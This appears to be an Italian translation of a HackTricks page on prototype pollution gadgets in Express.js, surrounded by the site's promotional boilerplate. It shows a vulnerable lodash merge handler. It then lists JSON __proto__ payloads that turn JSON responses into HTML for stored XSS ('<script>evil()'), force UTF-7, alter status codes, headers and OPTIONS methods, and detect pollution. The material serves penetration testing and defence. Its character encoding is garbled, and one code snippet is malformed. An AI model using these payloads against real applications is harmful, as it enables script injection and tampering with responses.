Gadget di Inquinamento del Prototype di Express
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Servire risposte XSS
Per ulteriori dettagli dai unâocchiata alla ricerca originale
Cambiare il tipo di contenuto JSON in HTML
In unâapp Express che utilizza una risposta di tipo contenuto JSON e riflette un JSON:
app.use(bodyParser.json({ type: "application/json" }))
app.post("/", function (req, res) {
_.merge({}, req.body)
res.send(req.body)
})
In questi casi, XSS non è normalmente possibile con un tipo di contenuto JSON. Tuttavia, con la contaminazione del prototipo possiamo confondere Express per restituire una risposta HTML. Questa vulnerabilitĂ si basa sullâapplicazione che utilizza res.send(obj) e utilizza il body parser con il tipo di contenuto application/json.
{ "__proto__": { "_body": true, "body": "<script>evil()" } }
Inquinando le proprietà body e _body, è possibile far sÏ che Express serva il tipo di contenuto HTML e rifletta la proprietà _body, risultando in XSS memorizzato.
Render UTF7
Ă possibile far sĂŹ che express renderizzi contenuti UTF-7 con:
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }
Tecniche di Scansione Sicura
Spazi JSON
Il seguente PP farĂ sĂŹ che gli attributi allâinterno di un JSON abbiano uno spazio extra che non interromperĂ la funzionalitĂ :
{ "__proto__": { "json spaces": " " } }
Quindi un JSON riflesso apparirĂ come:
{"foo": "bar"} -- Note the extra space
Intestazioni Esposte
Il seguente gadget PP farĂ sĂŹ che il server restituisca lâintestazione HTTP: Access-Control-Expose_headers: foo
{ "__proto__": { "exposedHeaders": ["foo"] } }
Richiede che il modulo CORS sia installato
Metodo OPTIONS
Con il seguente payload, è possibile nascondere un metodo da una risposta OPTIONS:
// Original reponse: POST,GET,HEAD
// Payload:
{"__proto__":{"head":true}}
//New response: POST;GET
Stato
Ă possibile modificare il codice di stato restituito utilizzando il seguente payload PP:
{ "__proto__": { "status": 510 } }
Errore
Quando assegni a un prototipo con un primitivo come una stringa, produce un operazione no-op poichĂŠ il prototipo deve essere un oggetto. Se tenti di assegnare un oggetto prototipo a Object.prototype stesso, questo genererĂ unâeccezione. Possiamo utilizzare questi due comportamenti per verificare se la contaminazione del prototipo è avvenuta con successo:
;({}).__proto__.__proto__ = {}(
//throws type exception
{}
).__proto__.__proto__ = "x" //no-op does not throw exception
Valore Riflesso
Quando unâapplicazione include un oggetto nella sua risposta, creare un attributo con un nome insolito insieme a __proto__ può essere rivelatore. In particolare, se solo lâattributo insolito viene restituito nella risposta, questo potrebbe indicare la vulnerabilitĂ dellâapplicazione:
{ "unusualName": "value", "__proto__": "test" }
Inoltre, in scenari in cui viene utilizzata una libreria come Lodash, impostare una proprietĂ sia tramite inquinamento del prototipo (PP) che direttamente allâinterno dellâoggetto offre un altro approccio diagnostico. Se tale proprietà è omessa dalla risposta, suggerisce che Lodash sta verificando lâesistenza della proprietĂ nellâoggetto target prima di unire:
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
Varie
Consenti Punti
Câè unâopzione in Express che ti consente di creare oggetti dai parametri della stringa di query.
Potresti sicuramente usarla in una catena di bug per sfruttare una vulnerabilitĂ di inquinamento del prototipo.
{ "__proto__": { "allowDots": true } }
?foo.bar=baz crea un oggetto in Node.
Riferimenti
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

